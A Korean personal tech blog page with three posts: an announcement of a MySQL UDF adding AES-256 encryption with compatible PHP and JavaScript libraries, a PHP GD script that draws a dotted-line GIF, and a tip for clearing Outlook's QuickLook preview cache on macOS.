얼마전 망법/개인정보 보호법 개정 시행령 때문에 한동안 AES 암호화에 대해서 작업을 했는데..

MySQL의 AES_ENCRYPT는 AES-128까지 밖에 지원이 되지 않습니다. 256bit를 지원하기 위해서는 소스의 AES_KEY_LENGTH 상수를 256으로 수정하여 다시 빌드를 하라는 문서 밖에 찾을 수가 없었습니다. MySQL을 다시 빌드하라는 것은 너무 끔찍하고, 누군가 UDF를 만들어 놓지 않았을까 생각을 하고선 열심히 찾아 보았으나, 대부분 application에서 처리를 하는지 찾을 수가 없네요.

그래서, application에서 처리를 하다보니 어쩌다가 MySQL UDF까지 만들고 말아 버렸습니다.

일단, MySQL에서 UDF로 AES-256을 지원을 하고, php와 javascript에서 이 함수들과 호환이 되는 API를 만드는 것이 1차 목표였는데요.

작업 결과, AES-128, AES-192, AES-256을 지원가능하게 만들었고, AES-128시에는 MySQL의 native AES_ENCRYPT/AES_DECRYPT와 호환이 되게 작성이 되었습니다. MySQL의 AES_KEY_LENGTH 상수값을 256으로 변경을 하여 리빌드를 하면, 키길이가 128bit라도 AES-256으로 Encryption되지만, 제가 만든 MySQL UDF는 key bit에 따라 AES-128, AES-192, AES-256으로 Encryption이 됩니다.

소스는 여기서 다운로드 받을 수 있습니다.

https://github.com/Joungkyun/lib_mysqludf_aes256
http://mirror.oops.org/pub/oops/php/pear/mysqlAES/
http://mirror.oops.org/pub/oops/javascript/mysqlAES/

잘 사용하기를..

혹시 문의가 있으면, http://oops.org/의 QnA Board로 하기 바랍니다. 여기에 질문하면 한 두세달 뒤에 확인할 확률이 높습니다. :-)
2013/09/23 02:56 2013/09/23 02:56
권기진

좋은글 감사합니다.
mysql 5.5 에서 AES-256을 구현해야 해서 찾다가 정균님의 글을 발견하게 되었습니다.
개발해 주신 노고에 감사드립니다.

김정균

mysql의 경우 5.6.17 부터 block_encryption_mode 옵션을 이용하여 AES_ENCRYTP를 AES-256으로 동작 시킬 수 있습니다. 다음 URL 참고 하세요.

http://mysqlblog.fivefarmers.com/2014/03/27/mysql-5-6-17-now-with-better-encryption/

mysql 5.7.4 부터는 key 길이를 32byte로 지정하면 AES-256으로 암호화 가능 합니다.

김정균

mariadb 10.1 에서 1.0.3 정상 동작 확인 되었습니다.

Posted
Filed under Tech/프로그래밍
16 x 10000 짜리 1px 세로 점선을 그리다가 포기하고 gd를 구현해서 만들어 보았다.

역시 매뉴얼 다 뒤져서 고생한지라 잊어버리지 않도록 기록한다.

<?php
# 이미지 길이
$he = 11400;

/*
 * 16 x 11400 의 이미지를 생성. gif의 경우 파일 생성이 이상하게
 * 되며, png의 경우 브라우저가 인식을 못한다.
 */
$im    = imagecreatetruecolor(16, $he);
$gray  = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);

# background를 투명 처리한다.
imagecolortransparent($im, $black);

for ($i=1; $i<$he; $i+=2 ) {
    printf ("%d - %d\n", $i, $i + 1);
    imagesetpixel ($im, 7, $i, $gray);
}

imagegif($im, './dashedline.gif');
imagedestroy($im);
?>
2013/03/08 02:44 2013/03/08 02:44
Posted
Filed under Tech/Tip & Trick
Mountain Lion의 Mac용 Outlook의 첨부파일 preview cache 를 삭제 하려면 다음의 파일을 삭제한다.

rm -f ~/Library/Caches/com.apple.QuickLookDaemon/Cache.db rm -f ~/Library/Caches/com.apple.QuickLookDaemon32/Cache.db
2012/10/16 16:55 2012/10/16 16:55